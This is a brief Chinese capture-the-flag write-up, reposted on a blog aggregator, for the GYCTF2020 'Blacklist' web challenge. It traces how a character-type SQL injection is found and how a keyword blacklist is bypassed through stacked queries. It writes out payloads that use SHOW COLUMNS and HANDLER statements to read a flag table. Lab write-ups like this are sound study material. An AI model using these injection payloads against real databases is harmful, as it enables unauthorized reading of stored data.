首页 > 其他 > 详细

[GYCTF2020]Blacklist

时间:2021-08-22 09:18:02      阅读:15      评论:0      收藏:0      [点我收藏+]

技术分享图片

 

 技术分享图片

技术分享图片

 

报错,可能是sql

技术分享图片

 

技术分享图片

 

 字符型注入

技术分享图片

 

测试列数有2列

 技术分享图片

 

正则过滤了一些关键字

尝试堆叠注入

查数据库

技术分享图片

 

查表

技术分享图片

 

 查列名1‘;show columns from FlagHere; #

技术分享图片

 

 查列的内容1‘;handler FlagHere open;handler FlagHere read first;#

技术分享图片

 

[GYCTF2020]Blacklist

原文:https://www.cnblogs.com/SONGYUELV/p/15170907.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!